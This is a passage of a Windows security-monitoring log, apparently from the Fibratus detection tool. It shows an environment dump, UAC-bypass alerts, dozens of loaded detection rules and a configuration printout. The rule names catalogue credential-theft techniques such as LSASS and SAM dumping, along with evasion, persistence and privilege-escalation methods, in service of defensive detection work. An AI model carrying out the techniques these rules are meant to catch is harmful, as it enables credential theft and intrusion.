(x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:d0f7d3ce-f6b3-40d8-a34f-fa31eb36766a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T14:34:12+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:34:13+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:34:16+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T14:34:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T14:34:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:34:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T14:35:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T14:35:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T14:35:01+01:00 level=info msg=bootstrapping with pid 15252. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T14:35:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-audit-api=>true flush-interval=>1s max-buffers=>36 enable-handle=>false buffer-size=>512 enable-thread=>true stack-enrichment=>true enable-threadpool=>false enable-registry=>true enable-image=>true enable-mem=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-vamap=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false passive=>false tls-insecure-skip-verify=>false exchange-type=>topic vhost=>/ exchange=>fibratus routing-key=>fibratus timeout=>5s durable=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ bulk-workers=>1 healthcheck=>true servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false timeout=>5s flush-period=>1s enabled=>false trace-log=>false gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] enabled=>false skip-allocs=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T14:35:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:35:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T14:35:13+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 5595597 + Pid: 2884 + Tid: 9856 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 